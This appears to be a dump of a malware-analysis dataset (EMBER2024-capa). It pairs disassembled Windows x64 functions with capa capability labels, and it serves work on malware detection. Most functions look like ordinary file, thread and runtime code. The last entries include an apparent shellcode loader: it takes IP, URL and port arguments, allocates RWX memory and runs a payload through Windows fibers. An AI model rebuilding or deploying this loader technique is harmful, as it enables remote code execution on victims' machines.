joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035528
Capabilities:
Create directory
Query environment variable
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rsi, rdx
mov rbx, rcx
and dword [rsp + 0x20], 0
xor eax, eax
mov qword [rcx], rax
call fcn.14000c2f0
mov rcx, rax
test rax, rax
je 0x1400356b7
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [0x140078a80]
add rax, 0x18
mov qword [rbx], rax
mov rcx, rbx
call fcn.14000b844
nop
mov dword [rsp + 0x20], 1
mov ecx, 0x400
call fcn.1400374f0
mov rdi, rax
test rax, rax
je 0x140035685
mov r8d, 0x200
mov rdx, rax
lea rcx, str._LOCALAPPDATA_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, rdi
call fcn.140048168
mov r8d, eax
mov rdx, rdi
mov rcx, rbx
call fcn.140010ce4
mov rax, qword [rbx]
cmp dword [rax - 0x10], 0
jle 0x14003567c
lea rcx, [0x14007ce60]
call fcn.140048168
mov r8d, eax
lea rdx, [0x14007ce60]
mov rcx, rbx
call fcn.140015064
lea rcx, str.Intel
call fcn.140048168
mov r8d, eax
lea rdx, str.Intel
mov rcx, rbx
call fcn.140015064
xor edx, edx
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r8, rsi
lea rdx, [0x14007ce60]
lea rcx, [rsp + 0x60]
call fcn.140013490
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov rcx, rbx
call fcn.140015064
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140035663
lfence
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x140078a80]
xor edx, edx
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 6
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rdi
call fcn.140036a34
nop
mov rdx, qword [rsi]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400356ac
lfence
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x140078a80]
mov rax, rbx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x80004005
call fcn.140009b24
int3
Function at 0x140039db0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x1400a1df8]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x140039df4
movzx eax, r14w
jmp 0x140039f30
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140039e30
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x140039e30
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x140039f30
cmp qword [rcx + 0x80], r14
je 0x140039f2d
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140039e6e
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140039e97
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.14005b5cc
cmp ax, di
je 0x140039f2d
movzx edi, si
jmp 0x140039f2d
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x140078a80]
test eax, eax
js 0x140039f2d
cmp eax, 1
jle 0x140039eef
cmp eax, 3
jne 0x140039f2d
lfence
movzx ecx, word [rbp + 7]
jmp 0x140039e7a
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x140039f1c
lfence
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.140054b78
cmp r14, rax
jne 0x140039f2d
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x140039f30
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140037490
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140064450
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140064482
call fcn.140047c58
mov dword [rax], 0x16
call fcn.140047b10
jmp 0x1400645a1
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400645a1
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400645a1
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400644b1
lock or dword [rcx + 0x14], 0x10
jmp 0x1400645a1
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400644c5
call fcn.140069290
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140061854
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140063d38
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14006458f
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14006455a
mov rcx, rsi
call fcn.140061854
cmp eax, edi
je 0x140064545
mov rcx, rsi
call fcn.140061854
cmp eax, 0xfffffffe
je 0x140064545
mov rcx, rsi
call fcn.140061854
movsxd rbx, eax
lea r14, [0x1400ac4a0]
mov rcx, rsi
sar rbx, 6
call fcn.140061854
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14006454c
lea rdx, [0x1400a21f0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14006455a
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14006457e
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14006457e
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14006457e
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400645a4
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x1400645bc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x1400642e2
call fcn.140047c58
mov dword [rax], 0x16
call fcn.140047b10
jmp 0x14006442f
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14006442f
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14006442f
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140064311
lock or dword [rcx + 0x14], 0x10
jmp 0x14006442f
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140064325
call fcn.140069290
mov ebp, dword [rbx + 0x10]
cmp ebp, 1
jne 0x140064335
mov rax, qword [rbx]
mov r14b, byte [rax]
jmp 0x140064338
xor r14b, r14b
mov rsi, qword [rbx + 8]
mov rcx, rbx
mov edi, dword [rbx + 0x20]
mov qword [rbx], rsi
call fcn.140061854
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.140063d38
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14006441d
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x1400643cb
mov rcx, rbx
call fcn.140061854
cmp eax, 0xffffffff
je 0x1400643b6
mov rcx, rbx
call fcn.140061854
cmp eax, 0xfffffffe
je 0x1400643b6
mov rcx, rbx
call fcn.140061854
movsxd rdi, eax
lea rsi, [0x1400ac4a0]
mov rcx, rbx
sar rdi, 6
call fcn.140061854
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [rsi + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x1400643bd
lea rdx, [0x1400a21f0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400643cb
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x1400643ef
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x1400643ef
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x1400643ef
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp ebp, 1
jne 0x14006440d
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, r14b
or cx, ax
inc qword [rbx]
jmp 0x140064418
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x140064434
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x1400642ac
Function at 0x140064f34
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1388]
mov eax, 0x1460
call fcn.140037420
sub rsp, rax
mov rax, qword [0x1400a1df8]
xor rax, rsp
mov qword [rbp + 0x1350], rax
and dword [rsp + 0x38], 0
xor r15d, r15d
movsxd r10, edx
mov rdi, rcx
mov rax, r10
mov r12d, r9d
sar rax, 6
lea rcx, [0x1400ac4a0]
and r10d, 0x3f
mov dword [rsp + 0x3c], r15d
add r12, r8
xor r14d, r14d
mov rsi, r8
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r13, qword [rax + rdx*8 + 0x28]
cmp r8, r12
jae 0x140065029
lea rbx, [rsp + 0x50]
cmp rsi, r12
jae 0x140064fe1
mov al, byte [rsi]
inc rsi
cmp al, 0xa
jne 0x140064fd0
inc r14d
mov byte [rbx], 0xd
inc rbx
mov byte [rbx], al
inc rbx
lea rax, [rbp + 0x134f]
cmp rbx, rax
jb 0x140064fb9
and qword [rsp + 0x20], 0
lea rax, [rsp + 0x50]
sub ebx, eax
lea r9, [rsp + 0x30]
mov r8d, ebx
lea rdx, [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14006501f
add r15d, dword [rsp + 0x30]
mov dword [rsp + 0x3c], r15d
cmp dword [rsp + 0x30], ebx
jb 0x140065029
cmp rsi, r12
jb 0x140064fb4
jmp 0x140065029
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x38], eax
movsd xmm0, qword [rsp + 0x38]
mov rax, rdi
movsd qword [rdi], xmm0
mov dword [rdi + 8], r14d
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.140037490
lea r11, [rsp + 0x1460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14006506c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1388]
mov eax, 0x1460
call fcn.140037420
sub rsp, rax
mov rax, qword [0x1400a1df8]
xor rax, rsp
mov qword [rbp + 0x1350], rax
and dword [rsp + 0x38], 0
xor r15d, r15d
movsxd r10, edx
mov rdi, rcx
mov rax, r10
mov r12d, r9d
sar rax, 6
lea rcx, [0x1400ac4a0]
and r10d, 0x3f
mov dword [rsp + 0x3c], r15d
add r12, r8
xor r14d, r14d
mov rsi, r8
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r13, qword [rax + rdx*8 + 0x28]
cmp r8, r12
jae 0x140065178
lea rbx, [rsp + 0x50]
cmp rsi, r12
jae 0x14006512a
movzx eax, word [rsi]
add rsi, 2
cmp ax, 0xa
jne 0x140065117
mov ecx, ILFindLastID
add r14d, 2
mov word [rbx], cx
add rbx, 2
mov word [rbx], ax
add rbx, 2
lea rax, [rbp + 0x134e]
cmp rbx, rax
jb 0x1400650f5
and qword [rsp + 0x20], 0
lea rax, [rsp + 0x50]
sub rbx, rax
lea r9, [rsp + 0x30]
sar rbx, 1
lea rdx, [rsp + 0x50]
add ebx, ebx
mov rcx, r13
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14006516e
add r15d, dword [rsp + 0x30]
mov dword [rsp + 0x3c], r15d
cmp dword [rsp + 0x30], ebx
jb 0x140065178
cmp rsi, r12
jb 0x1400650f0
jmp 0x140065178
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x38], eax
movsd xmm0, qword [rsp + 0x38]
mov rax, rdi
movsd qword [rdi], xmm0
mov dword [rdi + 8], r14d
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.140037490
lea r11, [rsp + 0x1460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400651bc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x13a8]
mov eax, 0x1480
call fcn.140037420
sub rsp, rax
mov rax, qword [0x1400a1df8]
xor rax, rsp
mov qword [rbp + 0x1370], rax
movsxd r10, edx
xor esi, esi
mov rax, r10
mov r15d, r9d
sar rax, 6
and r10d, 0x3f
mov rbx, rcx
mov qword [rsp + 0x58], rsi
lea rcx, [0x1400ac4a0]
mov qword [rsp + 0x40], rsi
add r15, r8
mov r12, r8
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov rdi, r8
mov r13, qword [rax + rdx*8 + 0x28]
cmp r8, r15
jae 0x14006530f
lea rax, [rsp + 0x60]
cmp rdi, r15
jae 0x140065275
movzx ecx, word [rdi]
add rdi, 2
cmp cx, 0xa
jne 0x140065262
mov edx, ILFindLastID
mov word [rax], dx
add rax, 2
mov word [rax], cx
add rax, 2
lea rcx, [rbp + 0x608]
cmp rax, rcx
jb 0x140065244
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x60]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x60]
sub rax, rcx
mov dword [rsp + 0x28], 0xd55
lea rcx, [rbp + 0x610]
sar rax, 1
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov ecx, 0xfde9
xor edx, edx
call fcn.140069bc8
mov r14d, eax
test eax, eax
je 0x14006534f
xor esi, esi
test eax, eax
je 0x1400652f8
and qword [rsp + 0x20], 0
lea rdx, [rbp + 0x610]
mov ecx, esi
lea r9, [rsp + 0x50]
mov r8d, r14d
add rdx, rcx
mov rcx, r13
sub r8d, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14006534f
add esi, dword [rsp + 0x50]
cmp esi, r14d
jb 0x1400652c5
mov eax, edi
sub eax, r12d
mov dword [rsp + 0x44], eax
cmp rdi, r15
jb 0x14006523f
mov rsi, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
movsd qword [rbx], xmm0
mov dword [rbx + 8], esi
mov rax, rbx
mov rcx, qword [rbp + 0x1370]
xor rcx, rsp
call fcn.140037490
lea r11, [rsp + 0x1480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
movsd xmm0, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
movsd qword [rbx], xmm0
mov dword [rbx + 8], eax
jmp 0x14006531c
Function at 0x140069c78
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140069cff
mov rsi, rbx
cmp word [rax], bp
je 0x140069cbe
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140069ca8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140069ca4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14005f934
mov rdi, rax
test rax, rax
je 0x140069cec
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003c3f0
mov rbp, rdi
xor ecx, ecx
call fcn.14005f2cc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x2100db6f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
sub rsp, 0x20
mov r12, rcx
mov ecx, dword [0x210318444]
call sym.TlsGetValue
mov rdx, r12
mov rcx, rax
add rsp, 0x20
pop r12
jmp method._cygtls.call_unsigned_int____void__void___void_
Function at 0x2100e07a0
Capabilities:
Read file on windows

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
mov r13, rdx
xor ecx, ecx
mov ebx, r8d
mov edx, 1
xor r8d, r8d
lea r14, [rsp + 0x30]
mov rsi, r9
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
call sym.CreateEventA
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, ebx
mov rdx, r13
mov rcx, r12
mov qword [rsp + 0x48], rax
call sym.ReadFile
test eax, eax
je 0x2100e0840
xor r9d, r9d
mov r8, rsi
mov rdx, r14
mov rcx, r12
call sym.GetOverlappedResult
mov rcx, qword [rsp + 0x48]
mov r12d, eax
call sym.CloseHandle
mov eax, r12d
add rsp, 0x50
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
call sym.GetLastError
cmp eax, 0x3e5
je 0x2100e0870
mov rcx, qword [rsp + 0x48]
xor r12d, r12d
call sym.CloseHandle
mov eax, r12d
add rsp, 0x50
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
mov edx, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x48]
call sym.WaitForSingleObject
test eax, eax
je 0x2100e0812
mov rcx, r12
call sym.CancelIo
jmp 0x2100e0812

Function at 0x2100e0890
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
mov r13, rdx
xor ecx, ecx
mov ebx, r8d
mov edx, 1
xor r8d, r8d
lea r14, [rsp + 0x30]
mov rsi, r9
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
call sym.CreateEventA
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, ebx
mov rdx, r13
mov rcx, r12
mov qword [rsp + 0x48], rax
call sym.WriteFile
test eax, eax
je 0x2100e0930
xor r9d, r9d
mov r8, rsi
mov rdx, r14
mov rcx, r12
call sym.GetOverlappedResult
mov rcx, qword [rsp + 0x48]
mov r12d, eax
call sym.CloseHandle
mov eax, r12d
add rsp, 0x50
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
call sym.GetLastError
cmp eax, 0x3e5
je 0x2100e0960
mov rcx, qword [rsp + 0x48]
xor r12d, r12d
call sym.CloseHandle
mov eax, r12d
add rsp, 0x50
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
mov edx, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x48]
call sym.WaitForSingleObject
test eax, eax
je 0x2100e0902
mov rcx, r12
call sym.CancelIo
jmp 0x2100e0902
Function at 0x140011091
Capabilities:
Create thread

Disassembly:
jmp 0x140015190
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14002c0f8]
call fcn.1400115b9
mov rcx, qword [rbp + 0xe0]
call fcn.140011433
movzx eax, al
test eax, eax
je 0x1400151da
mov ecx, 0x1e
call fcn.1400111b3
mov al, 1
jmp 0x140015257
mov rcx, qword [rbp + 0xe0]
call fcn.140011479
movzx eax, al
cmp eax, 1
jne 0x1400151f2
mov al, 1
jmp 0x140015257
mov rax, qword [rbp + 0xe0]
mov dword [rax + 8], 0
mov rax, qword [rbp + 0xe0]
add rax, 8
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xf0]
mov r8, qword [rbp + 0xe8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx], rax
mov rax, qword [rbp + 0xe0]
cmp qword [rax], 0
jne 0x140015255
mov ecx, 4
call fcn.1400111b3
mov al, 1
jmp 0x140015257
xor al, al
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400112bc
Capabilities:
Terminate thread

Disassembly:
jmp 0x1400152a0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002c0f8]
call fcn.1400115b9
mov rcx, qword [rbp + 0xe0]
call fcn.140011433
movzx eax, al
test eax, eax
jne 0x1400152d6
xor al, al
jmp 0x140015317
mov edx, 0xffffffff
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x1400152fd
mov ecx, 4
call fcn.1400111b3
mov al, 1
jmp 0x140015317
mov rcx, qword [rbp + 0xe0]
call fcn.140011276
movzx eax, al
cmp eax, 1
jne 0x140015315
mov al, 1
jmp 0x140015317
xor al, al
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001135c
Capabilities:
Terminate process

Disassembly:
jmp 0x140017b50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001141a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a660
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a680
xor al, al
jmp 0x14001a701
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a693
xor al, al
jmp 0x14001a701
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a6bd
xor al, al
jmp 0x14001a701
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a6d1
xor al, al
jmp 0x14001a701
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a6e3
xor al, al
jmp 0x14001a701
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a6ff
xor al, al
jmp 0x14001a701
mov al, 1
add rsp, 0x38
ret
Function at 0x1400115a5
Capabilities:
Set console window title

Disassembly:
jmp 0x140014130
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002c109]
call fcn.1400115b9
call fcn.14001130c
movzx eax, al
cmp eax, 1
jne 0x140014160
mov al, 1
jmp 0x140014181
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
test eax, eax
jne 0x14001417f
mov ecx, 0x12
call fcn.1400111b3
mov al, 1
jmp 0x140014181
xor al, al
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x14000105c
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
cmp ecx, 3
je 0x14000108d
lea rcx, str.file.exe__IP_URL___Port_
call fcn.140001008
or eax, 0xffffffff
jmp 0x140001163
mov rcx, qword [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rbx + 0x10]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rdx, qword [rbx + 8]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.140001338
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
sub rdx, qword [rsp + 0x20]
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, qword [rsp + 0x20]
mov rbx, rax
sub r8, rdx
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140001161
mov rdx, qword [rsp + 0x30]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14000115c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000115c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001850
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001830
add rsp, 0x40
pop rbx
ret
Function at 0x1400021c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000220e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000220e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000220e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000220e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000220e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002210
xor al, al
add rsp, 0x28
ret